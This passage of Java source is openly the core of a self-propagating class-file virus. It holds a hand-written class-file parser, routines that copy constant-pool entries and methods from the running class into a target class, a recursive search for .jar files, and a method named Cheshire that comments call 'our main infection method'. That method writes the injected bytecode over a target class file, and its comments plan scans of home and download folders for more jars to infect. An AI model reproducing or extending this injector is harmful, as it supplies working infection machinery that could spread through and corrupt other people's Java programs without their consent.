int num_stack_items = buffer.getShort();
|
|
bbuf = ByteBuffer.allocate(2);
|
|
bbuf.putShort((short) num_stack_items);
|
|
bos.write(bbuf.array());
|
|
for(int a= 0; a < num_stack_items; a++){
|
|
bos.write(processVerificationTypeInfo(buffer, origin, destination));
|
|
}
|
|
} catch (IOException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
frame_position += new_offset;
|
|
|
|
}
|
|
}
|
|
b.putShort((short) num_entries);
|
|
b.put(bos.toByteArray());
|
|
return b.array();
|
|
}
|
|
else if(type.equals("LineNumberTable")){
|
|
int table_length = buffer.getShort();
|
|
b.putShort((short) table_length);
|
|
for(int i = 0; i < table_length; i++){
|
|
b.putShort((short) (i+1));
|
|
buffer.getShort();
|
|
b.putShort(buffer.getShort());
|
|
}
|
|
return b.array();
|
|
}
|
|
return buffer.array();
|
|
}
|
|
|
|
/**
|
|
* Easily turn a Utf8 String index into a string we can read.
|
|
* @param index
|
|
* @param parsedClass
|
|
* @return
|
|
*/
|
|
public static String getUtf8Constant(int index, HashMap<String, Object> parsedClass){
|
|
byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
|
|
byte[] constant = constant_pool[index-1];
|
|
return new String(Arrays.copyOfRange(constant, 3, constant.length));
|
|
}
|
|
|
|
/**
|
|
* Pass a set of bytes in a class, return the name of the method.
|
|
* @param method
|
|
* @param parsedClass
|
|
* @return
|
|
*/
|
|
public static String getMethodName(byte[] method, HashMap<String, Object> parsedClass){
|
|
ByteBuffer method_buffer = ByteBuffer.wrap(method);
|
|
method_buffer.get(new byte[2]);
|
|
int name_index = method_buffer.getShort();
|
|
return getUtf8Constant(name_index, parsedClass);
|
|
}
|
|
|
|
/**
|
|
*
|
|
* Copy a method from one parsed class to another.
|
|
* If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a
|
|
* separate method for handling injection.
|
|
* @param parsedClass
|
|
* @param orig_method_index
|
|
* @param destination
|
|
* @return The index of the method in the new file
|
|
*
|
|
*/
|
|
public static int copyMethod(HashMap<String, Object> origin, int orig_method_index, HashMap<String, Object> destination) throws IOException {
|
|
byte[][] orig_methods = (byte[][]) origin.get("methods");
|
|
byte[] method = orig_methods[orig_method_index];
|
|
boolean overwrite = false;
|
|
|
|
String methodName = getMethodName(method, origin);
|
|
ByteBuffer method_buffer = ByteBuffer.wrap(method);
|
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
ByteBuffer b = ByteBuffer.allocate(8);
|
|
byte[] access_flags = new byte[2];
|
|
method_buffer.get(access_flags);
|
|
b.put(access_flags);
|
|
int orig_name_index = method_buffer.getShort();
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.putShort((short) new_name_index);
|
|
|
|
int orig_descriptor_index = method_buffer.getShort();
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
|
|
int attribute_count = method_buffer.getShort();
|
|
b.putShort((short) attribute_count);
|
|
bos.write(b.array());
|
|
b.clear();
|
|
HashMap<Integer, Integer> offsets = new HashMap<Integer, Integer>();
|
|
origin.put("method_offsets", offsets);
|
|
|
|
for(int i = 0; i < attribute_count; i++){
|
|
b = ByteBuffer.allocate(6);
|
|
int old_name_index = method_buffer.getShort();
|
|
int new_attr_name_index = copyConstant(origin, old_name_index, destination);
|
|
|
|
int attribute_length = method_buffer.getInt();
|
|
byte[][] cpool = (byte[][]) origin.get("constant_pool");
|
|
|
|
byte[] attr_name_bytes = cpool[old_name_index-1];
|
|
String name = getUtf8Constant(old_name_index, origin);
|
|
|
|
byte[] attribute = new byte[attribute_length];
|
|
method_buffer.get(attribute);
|
|
|
|
byte[] new_attribute = processAttribute(attribute, origin, destination, name);
|
|
|
|
b.putShort((short) new_attr_name_index);
|
|
b.putInt(new_attribute.length);
|
|
bos.write(b.array());
|
|
bos.write(new_attribute);
|
|
|
|
|
|
}
|
|
byte[][] dest_methods = (byte[][]) destination.get("methods");
|
|
byte[][] temp_new_methods = new byte[dest_methods.length+1][];
|
|
|
|
for(int a = 0; a < dest_methods.length; a++){
|
|
if(methodName.equals(getMethodName(dest_methods[a], destination))){
|
|
overwrite = true;
|
|
}
|
|
}
|
|
if(overwrite == true){
|
|
temp_new_methods = new byte[dest_methods.length][];
|
|
for(int a = 0; a < dest_methods.length; a++){
|
|
if(methodName.equals(getMethodName(dest_methods[a], destination))){
|
|
temp_new_methods[a] = bos.toByteArray();
|
|
}
|
|
else{
|
|
temp_new_methods[a] = dest_methods[a];
|
|
}
|
|
}
|
|
}
|
|
else{
|
|
for(int a = 0; a < dest_methods.length; a++){
|
|
temp_new_methods[a] = dest_methods[a];
|
|
}
|
|
temp_new_methods[dest_methods.length] = bos.toByteArray();
|
|
}
|
|
destination.put("methods", temp_new_methods);
|
|
return dest_methods.length+1;
|
|
}
|
|
|
|
/**
|
|
* Add an item to the constant pool.
|
|
*/
|
|
public static int addToPool(HashMap<String, Object> parsedClass, byte[] new_data){
|
|
byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool");
|
|
int pool_size = target_constant_pool.length+1;
|
|
byte[][] temp_target_pool = new byte[pool_size][];
|
|
for(int a = 0; a < pool_size-1; a++){
|
|
temp_target_pool[a] = target_constant_pool[a];
|
|
}
|
|
temp_target_pool[pool_size-1] = new_data;
|
|
parsedClass.put("constant_pool", temp_target_pool);
|
|
return pool_size;
|
|
}
|
|
|
|
/**
|
|
* Get a class's name as a String based on the name of this_class.
|
|
* @param parsedClass
|
|
* @return
|
|
*/
|
|
public static String getClassName(HashMap<String, Object> parsedClass){
|
|
byte[] selfClassBytes = (byte[]) parsedClass.get("this_class");
|
|
byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
|
|
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
|
int self_class_index = selfBytes.getShort();
|
|
byte[] selfClass = constant_pool[self_class_index-1];
|
|
ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass);
|
|
selfClassBuff.get();
|
|
int classNameIndex = selfClassBuff.getShort();
|
|
return getUtf8Constant(classNameIndex, parsedClass);
|
|
}
|
|
|
|
/**
|
|
* Let's think about how we're doing this...
|
|
*
|
|
* Ideally we want to pass in the original constant index, copy the data, place it in the target
|
|
* and return the new index. This makes copying methods easier when it comes to the attributes.
|
|
*
|
|
* @return The new index of the copied constant
|
|
*/
|
|
public static int copyConstant(HashMap<String, Object> origin, int origin_index, HashMap<String, Object> destination){
|
|
byte[][] constant_pool = (byte[][]) origin.get("constant_pool");
|
|
byte[] orig_constant = constant_pool[origin_index-1];
|
|
|
|
//Create a map between the old and new constant pools
|
|
//This will help us avoid copying too many vars over and being wasteful
|
|
if(origin.get("constant_pool_map") == null){
|
|
HashMap<Integer, Integer> constant_pool_map = new HashMap<Integer, Integer>();
|
|
origin.put("constant_pool_map", constant_pool_map);
|
|
}
|
|
HashMap<Integer, Integer> constant_pool_map = (HashMap<Integer, Integer>) origin.get("constant_pool_map");
|
|
if(constant_pool_map.keySet().contains(origin_index)){
|
|
return constant_pool_map.get(origin_index);
|
|
}
|
|
int const_tag = orig_constant[0];
|
|
if(const_tag == 1){
|
|
int new_index = addToPool(destination, orig_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 7){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.put(orig_constant[0]);
|
|
b.putShort((short) new_name_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index;
|
|
if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){
|
|
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
|
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
|
new_index = selfBytes.getShort();
|
|
}
|
|
else{
|
|
new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
}
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 9 || const_tag == 10 || const_tag == 11){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_class_index = copyConstant(origin, orig_class_index, destination);
|
|
String thisClass = getClassName(origin);
|
|
byte[] methodClassBytes = constant_pool[orig_class_index-1];
|
|
ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes);
|
|
methodClassBuffer.get();
|
|
int classNameIndex = methodClassBuffer.getShort();
|
|
String methodClassName = getUtf8Constant(classNameIndex, origin);
|
|
if(methodClassName.equals(getClassName(origin))){
|
|
byte[] selfClassBytes = (byte[]) destination.get("this_class");
|
|
byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool");
|
|
ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes);
|
|
new_class_index = selfBytes.getShort();
|
|
}
|
|
b.put(orig_constant[0]);
|
|
b.putShort((short) new_class_index);
|
|
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
|
b.putShort((short) new_name_and_type_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 8){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
b.put(orig_constant[0]);
|
|
int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_string_index = copyConstant(origin, orig_string_index, destination);
|
|
b.putShort((short) new_string_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
|
|
}
|
|
else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){
|
|
int new_index = addToPool(destination, orig_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 12){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
b.put(orig_constant[0]);
|
|
int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_name_index = copyConstant(origin, orig_name_index, destination);
|
|
b.putShort((short) new_name_index);
|
|
int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 15){
|
|
ByteBuffer b = ByteBuffer.allocate(4);
|
|
b.put(orig_constant[0]);
|
|
b.put(orig_constant[1]);
|
|
int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF));
|
|
int new_reference_index = copyConstant(origin, old_reference_index, destination);
|
|
b.putShort((short) new_reference_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 16){
|
|
ByteBuffer b = ByteBuffer.allocate(3);
|
|
b.put(orig_constant[0]);
|
|
int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF));
|
|
int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination);
|
|
b.putShort((short) new_descriptor_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else if(const_tag == 18){
|
|
ByteBuffer b = ByteBuffer.allocate(5);
|
|
b.put(orig_constant[0]);
|
|
b.put(orig_constant[1]);
|
|
b.put(orig_constant[2]);
|
|
int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF));
|
|
int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination);
|
|
b.putShort((short) new_name_and_type_index);
|
|
byte[] new_constant = b.array();
|
|
int new_index = addToPool(destination, new_constant);
|
|
constant_pool_map.put(origin_index, new_index);
|
|
return new_index;
|
|
}
|
|
else{
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Find jar files given a directory
|
|
* @param f
|
|
* @return
|
|
*/
|
|
public static void searchFile(File file, ArrayList<File> fileList) {
|
|
File[] files = file.listFiles();
|
|
if (files != null) {
|
|
for (File f : file.listFiles()) {
|
|
if (f.isFile() && f.getName().endsWith(".jar")) {
|
|
System.out.println("Added " + f.getAbsolutePath());
|
|
fileList.add(f);
|
|
} else if (f.isDirectory() && f.canRead()) {
|
|
searchFile(f, fileList);
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|
|
/**
|
|
* This is our main infection method.
|
|
* We need to determine the target classfile name when we're copying this
|
|
* because you can't figure out what class you're in while you're using a
|
|
* static method. Can't call a method without a class unless the method is
|
|
* statis, so we're at a bit of a catch-22. The solution is simple to hardcode
|
|
* the class in the propagated bytecode.
|
|
*
|
|
* We need to know if we can just inject static methods or not. It seems like either
|
|
* way you'd still need to change the constant pool.
|
|
*/
|
|
public static void Cheshire() throws IOException {
|
|
System.out.println("We're all mad down here...you may notice that I'm not all there myself.");
|
|
|
|
/**
|
|
* What logic do we want to implement?
|
|
* Search folders for jar files, open them, look for main classes and infect?
|
|
* Sounds good. How do we get our current path? Also need to know if on Linux or Windows.
|
|
* Scan user dirs, home folders, downloads and look for running Java processes if on applicable version.
|
|
*/
|
|
String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath();
|
|
System.out.println(h);
|
|
String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class";
|
|
System.out.println(selfpath);
|
|
String OS = (String) System.getProperties().get("os.name");
|
|
String homedir = (String) System.getProperties().get("user.home");
|
|
File home = new File(homedir);
|
|
File fa = new File("dongs.txt");
|
|
fa.createNewFile();
|
|
|
|
|
|
System.out.println("Detected OS is " + OS);
|
|
System.out.println("Home directory is " + homedir);
|
|
File f = new File(".");
|
|
System.out.println("Absolute path:" + f.getAbsolutePath());
|
|
System.out.println("Directory listing:");
|
|
|
|
for(String s : f.list()){
|
|
System.out.println(s);
|
|
}
|
|
System.out.println(f.list());
|
|
selfpath = selfpath.substring(1);
|
|
HashMap<String, Object> parsedClass = parseClassFile(selfpath);
|
|
HashMap<String, Object> goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class");
|
|
findOurMethods(parsedClass, goatClass);
|
|
inject(parsedClass, goatClass);
|
|
|
|
FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"));
|
|
byte[] classbytes = classBytes(goatClass);
|
|
fos.write(classbytes);
|
|
fos.close();
|
|
|
|
}
|
|
|
|
/**
|
|
* Return a hashmap with all of our shit in it.
|
|
* We want to break this down into a hashmap of the sections
|
|
* with maybe an arraylist of...objects? How do we keep the complexity low?
|
|
* Store them as bytes? Do I even need to write a full parser? Probably not.
|
|
*
|
|
*
|
|
* @param classfilepath
|
|
* @return
|
|
* @throws IOException
|
|
*/
|
|
public static HashMap<String, Object> parseClassFile(String classfilepath) {
|
|
try {
|
|
|
|
Paths.get(classfilepath);
|
|
byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath));
|
|
|
|
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes));
|
|
byte[] magic = new byte[4];
|
|
|
|
HashMap<String, Object> parsedClass = new HashMap<String, Object>();
|
|
dis.read(magic);
|
|
StringBuilder sb = new StringBuilder();
|
|
|
|
for (byte b : magic) {
|
|
sb.append(String.format("%02X", b));
|
|
}
|
|
|
|
if (sb.toString().equals("CAFEBABE")) {
|
|
parsedClass.put("magic", magic);
|
|
byte[] minor_version = new byte[2];
|
|
dis.read(minor_version);
|
|
parsedClass.put("minor_version", minor_version);
|
|
byte[] major_version = new byte[2];
|
|
dis.read(major_version);
|
|
parsedClass.put("major_version", major_version);
|
|
byte[] constant_pool_count = new byte[2];
|
|
dis.read(constant_pool_count);
|
|
parsedClass.put("constant_pool_count", constant_pool_count);
|
|
int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF));
|
|
byte[][] constant_pool = new byte[constant_count_int-1][];
|
|
|
|
for (int i = 0; i < constant_count_int-1; i++) {
|
|
|
|
byte tagbyte = dis.readByte();
|
|
int tag = tagbyte;
|
|
|
|
if (tag == 7) {
|
|
// CONSTANT_Class_info
|
|
byte[] class_info_bytes = new byte[3];
|
|
class_info_bytes[0] = tagbyte;
|
|
class_info_bytes[1] = dis.readByte();
|
|
class_info_bytes[2] = dis.readByte();
|
|
constant_pool[i] = class_info_bytes;
|
|
} else if (tag == 9) {
|
|
//Constant_Fieldref
|
|
byte[] fieldref_info_bytes = new byte[5];
|
|
fieldref_info_bytes[0] = tagbyte;
|
|
fieldref_info_bytes[1] = dis.readByte();
|
|
fieldref_info_bytes[2] = dis.readByte();
|
|
fieldref_info_bytes[3] = dis.readByte();
|
|
fieldref_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = fieldref_info_bytes;
|
|
} else if (tag == 10) {
|
|
//Constant_Methodref
|
|
byte[] methodref_info_bytes = new byte[5];
|
|
methodref_info_bytes[0] = tagbyte;
|
|
methodref_info_bytes[1] = dis.readByte();
|
|
methodref_info_bytes[2] = dis.readByte();
|
|
methodref_info_bytes[3] = dis.readByte();
|
|
methodref_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = methodref_info_bytes;
|
|
} else if (tag == 11) {
|
|
//Constant_InterfaceMethodref
|
|
byte[] interfacemethodref_info_bytes = new byte[5];
|
|
interfacemethodref_info_bytes[0] = tagbyte;
|
|
interfacemethodref_info_bytes[1] = dis.readByte();
|
|
interfacemethodref_info_bytes[2] = dis.readByte();
|
|
interfacemethodref_info_bytes[3] = dis.readByte();
|
|
interfacemethodref_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = interfacemethodref_info_bytes;
|
|
} else if (tag == 8) {
|
|
//Constant_String
|
|
byte[] string_info_bytes = new byte[3];
|
|
string_info_bytes[0] = tagbyte;
|
|
string_info_bytes[1] = dis.readByte();
|
|
string_info_bytes[2] = dis.readByte();
|
|
constant_pool[i] = string_info_bytes;
|
|
} else if (tag == 3) {
|
|
//Constant_Integer
|
|
byte[] integer_info_bytes = new byte[5];
|
|
integer_info_bytes[0] = tagbyte;
|
|
integer_info_bytes[1] = dis.readByte();
|
|
integer_info_bytes[2] = dis.readByte();
|
|
integer_info_bytes[3] = dis.readByte();
|
|
integer_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = integer_info_bytes;
|
|
} else if (tag == 4) {
|
|
//Constant_Float
|
|
byte[] float_info_bytes = new byte[5];
|
|
float_info_bytes[0] = tagbyte;
|
|
float_info_bytes[1] = dis.readByte();
|
|
float_info_bytes[2] = dis.readByte();
|
|
float_info_bytes[3] = dis.readByte();
|
|
float_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = float_info_bytes;
|
|
} else if (tag == 5) {
|
|
//Constant_Long
|
|
byte[] long_info_bytes = new byte[9];
|
|
long_info_bytes[0] = tagbyte;
|
|
long_info_bytes[1] = dis.readByte();
|
|
long_info_bytes[2] = dis.readByte();
|
|
long_info_bytes[3] = dis.readByte();
|
|
long_info_bytes[4] = dis.readByte();
|
|
long_info_bytes[5] = dis.readByte();
|
|
long_info_bytes[6] = dis.readByte();
|
|
long_info_bytes[7] = dis.readByte();
|
|
long_info_bytes[8] = dis.readByte();
|
|
constant_pool[i] = long_info_bytes;
|
|
} else if (tag == 6) {
|
|
//Constant_Double
|
|
byte[] double_info_bytes = new byte[9];
|
|
double_info_bytes[0] = tagbyte;
|
|
double_info_bytes[1] = dis.readByte();
|
|
double_info_bytes[2] = dis.readByte();
|
|
double_info_bytes[3] = dis.readByte();
|
|
double_info_bytes[4] = dis.readByte();
|
|
double_info_bytes[5] = dis.readByte();
|
|
double_info_bytes[6] = dis.readByte();
|
|
double_info_bytes[7] = dis.readByte();
|
|
double_info_bytes[8] = dis.readByte();
|
|
constant_pool[i] = double_info_bytes;
|
|
} else if (tag == 12) {
|
|
//Constant_NameAndType
|
|
byte[] nameandtype_info_bytes = new byte[5];
|
|
nameandtype_info_bytes[0] = tagbyte;
|
|
nameandtype_info_bytes[1] = dis.readByte();
|
|
nameandtype_info_bytes[2] = dis.readByte();
|
|
nameandtype_info_bytes[3] = dis.readByte();
|
|
nameandtype_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = nameandtype_info_bytes;
|
|
} else if (tag == 1) {
|
|
//Constant_Utf8
|
|
byte[] lengthbytes = new byte[2];
|
|
lengthbytes[0] = dis.readByte();
|
|
lengthbytes[1] = dis.readByte();
|
|
int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF));
|
|
byte[] utf_bytes = new byte[3 + length];
|
|
utf_bytes[0] = tagbyte;
|
|
utf_bytes[1] = lengthbytes[0];
|
|
utf_bytes[2] = lengthbytes[1];
|
|
for (int a = 0; a < length; a++) {
|
|
utf_bytes[a + 3] = dis.readByte();
|
|
}
|
|
constant_pool[i] = utf_bytes;
|
|
} else if (tag == 15) {
|
|
//Constant_MethodHandle
|
|
byte[] methodhandle_info_bytes = new byte[4];
|
|
methodhandle_info_bytes[0] = tagbyte;
|
|
methodhandle_info_bytes[1] = dis.readByte();
|
|
methodhandle_info_bytes[2] = dis.readByte();
|
|
methodhandle_info_bytes[3] = dis.readByte();
|
|
constant_pool[i] = methodhandle_info_bytes;
|
|
} else if (tag == 16) {
|
|
//Constant_MethodType
|
|
byte[] methodtype_info_bytes = new byte[3];
|
|
methodtype_info_bytes[0] = tagbyte;
|
|
methodtype_info_bytes[1] = dis.readByte();
|
|
methodtype_info_bytes[2] = dis.readByte();
|
|
constant_pool[i] = methodtype_info_bytes;
|
|
} else if (tag == 18) {
|
|
//Constant_InvokeDynamic
|
|
byte[] invokedynamic_info_bytes = new byte[5];
|
|
invokedynamic_info_bytes[0] = tagbyte;
|
|
invokedynamic_info_bytes[1] = dis.readByte();
|
|
invokedynamic_info_bytes[2] = dis.readByte();
|
|
invokedynamic_info_bytes[3] = dis.readByte();
|
|
invokedynamic_info_bytes[4] = dis.readByte();
|
|
constant_pool[i] = invokedynamic_info_bytes;
|
|
} else {
|
|
}
|
|
|
|
}
|
|
parsedClass.put("constant_pool", constant_pool);
|
|
byte[] access_flags = new byte[2];
|
|
dis.read(access_flags);
|
|
parsedClass.put("access_flags", access_flags);
|
|
byte[] this_class = new byte[2];
|
|
dis.read(this_class);
|
|
parsedClass.put("this_class", this_class);
|
|
byte[] super_class = new byte[2];
|
|
dis.read(super_class);
|
|
parsedClass.put("super_class", super_class);
|
|
byte[] interfaces_count = new byte[2];
|
|
dis.read(interfaces_count);
|
|
parsedClass.put("interfaces_count", interfaces_count);
|
|
|
|
int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF));
|
|
byte[][] interfaces = new byte[iface_count][];
|
|
|
|
for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) {
|
|
byte[] iface = new byte[2];
|
|
iface[0] = dis.readByte();
|
|
iface[1] = dis.readByte();
|
|
interfaces[iface_loop] = iface;
|
|
}
|
|
|
|
parsedClass.put("interfaces", interfaces);
|
|
|
|
byte[] fields_count = new byte[2];
|
|
dis.read(fields_count);
|
|
parsedClass.put("fields_count", fields_count);
|
|
int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF));
|
|
|
|
byte[][] fields = new byte[f_count][];
|
|
|
|
for (int fields_loop = 0; fields_loop < f_count; fields_loop++) {
|
|
ByteArrayOutputStream field = new ByteArrayOutputStream();
|
|
byte[] fieldfixed = new byte[8];
|
|
dis.read(fieldfixed);
|
|
field.write(fieldfixed);
|
|
int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF));
|
|
for (int attributes = 0; attributes < attributes_count; attributes++) {
|
|
ByteArrayOutputStream attribute = new ByteArrayOutputStream();
|
|
byte[] attribute_name_index = new byte[2];
|
|
byte[] attribute_length = new byte[4];
|
|
dis.read(attribute_name_index);
|
|
dis.read(attribute_length);
|
|
int attribute_len = ByteBuffer.wrap(attribute_length).getInt();
|
|
byte[] info = new byte[attribute_len];
|
|
dis.read(info);
|
|
attribute.write(attribute_name_index);
|
|
attribute.write(attribute_length);
|
|
attribute.write(info);
|
|
field.write(attribute.toByteArray());
|
|
}
|
|
fields[fields_loop] = field.toByteArray();
|
|
}
|
|
|
|
parsedClass.put("fields", fields);
|
|
|
|
byte[] methods_count = new byte[2];
|
|
dis.read(methods_count);
|
|
|
|
parsedClass.put("methods_count", methods_count);
|
|
|
|
int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF));
|
|
|
|
byte[][] methods = new byte[method_count][];
|
|
|
|
for (int methods_loop = 0; methods_loop < method_count; methods_loop++) {
|
|
ByteArrayOutputStream methodbytes = new ByteArrayOutputStream();
|
|
byte[] methodfixed = new byte[8];
|
|
dis.read(methodfixed);
|
|
int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF));
|
|
ByteArrayOutputStream method_attributes = new ByteArrayOutputStream();
|
|
|
|
for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
|
|
ByteArrayOutputStream attribute = new ByteArrayOutputStream();
|
|
byte[] attribute_name_index = new byte[2];
|
|
byte[] attribute_length = new byte[4];
|
|
dis.read(attribute_name_index);
|
|
dis.read(attribute_length);
|
|
int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
|
|
byte[] attribute_bytes = new byte[attribute_length_int];
|
|
dis.read(attribute_bytes);
|
|
attribute.write(attribute_name_index);
|
|
attribute.write(attribute_length);
|
|
attribute.write(attribute_bytes);
|
|
method_attributes.write(attribute.toByteArray());
|
|
}
|
|
methodbytes.write(methodfixed);
|
|
methodbytes.write(method_attributes.toByteArray());
|
|
methods[methods_loop] = methodbytes.toByteArray();
|
|
}
|
|
parsedClass.put("methods", methods);
|
|
|
|
byte[] attributes_count = new byte[2];
|
|
|
|
dis.read(attributes_count);
|
|
|
|
parsedClass.put("attributes_count", attributes_count);
|
|
|
|
int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF));
|
|
|
|
byte[][] attributes = new byte[attribute_count][];
|
|
|
|
for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) {
|
|
ByteArrayOutputStream attribute = new ByteArrayOutputStream();
|
|
byte[] attribute_name_index = new byte[2];
|
|
byte[] attribute_length = new byte[4];
|
|
dis.read(attribute_name_index);
|
|
dis.read(attribute_length);
|
|
attribute.write(attribute_name_index);
|
|
attribute.write(attribute_length);
|
|
int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt();
|
|
byte[] attribute_bytes = new byte[attribute_length_int];
|
|
dis.read(attribute_bytes);
|
|
attribute.write(attribute_bytes);
|
|
attributes[attribute_loop] = attribute.toByteArray();
|
|
}
|
|
parsedClass.put("attributes", attributes);
|
|
dis.close();
|
|
//fis.close();
|
|
return parsedClass;
|
|
|
|
} else {
|
|
return null;
|
|
}
|
|
}
|
|
catch(IOException e){
|
|
e.printStackTrace();
|
|
}
|
|
return null;
|
|
};
|
|
|
|
/**
|
|
* Convert a manipulated class back to bytes for writing.
|
|
* @param parsedClass
|
|
* @return
|
|
* @throws IOException
|
|
*/
|
|
public static byte[] classBytes(HashMap<String, Object> parsedClass) throws IOException {
|
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
bos.write((byte[]) parsedClass.get("magic"));
|
|
bos.write((byte[]) parsedClass.get("minor_version"));
|
|
bos.write((byte[]) parsedClass.get("major_version"));
|
|
byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool");
|
|
int cp_length = constant_pool.length + 1;
|
|
|
|
ByteBuffer b = ByteBuffer.allocate(2);
|
|
b.putShort((short) cp_length);
|
|
byte[] cp_length_bytes = b.array();
|
|
bos.write(cp_length_bytes);
|
|
|
|
for(int i = 0; i < constant_pool.length; i++){
|
|
bos.write(constant_pool[i]);
|
|
}
|
|
bos.write((byte[]) parsedClass.get("access_flags"));
|
|
bos.write((byte[]) parsedClass.get("this_class"));
|
|
bos.write((byte[]) parsedClass.get("super_class"));
|
|
bos.write((byte[]) parsedClass.get("interfaces_count"));
|
|
byte[][] interfaces = (byte[][]) parsedClass.get("interfaces");
|
|
for(int i = 0; i < interfaces.length; i++){
|
|
bos.write(interfaces[i]);
|
|
}
|
|
bos.write((byte[]) parsedClass.get("fields_count"));
|
|
byte[][] fields = (byte[][]) parsedClass.get("fields");
|
|
for(int i = 0; i < fields.length; i++){
|
|
bos.write(fields[i]);
|
|
}
|
|
|
|
byte[][] methods = (byte[][]) parsedClass.get("methods");
|
|
|
|
b.clear();
|
|
b.putShort((short) methods.length);
|
|
byte[] methods_count = b.array();
|
|
bos.write(methods_count);
|
|
for(int i = 0; i < methods.length; i++){
|
|
bos.write(methods[i]);
|
|
}
|
|
|
|
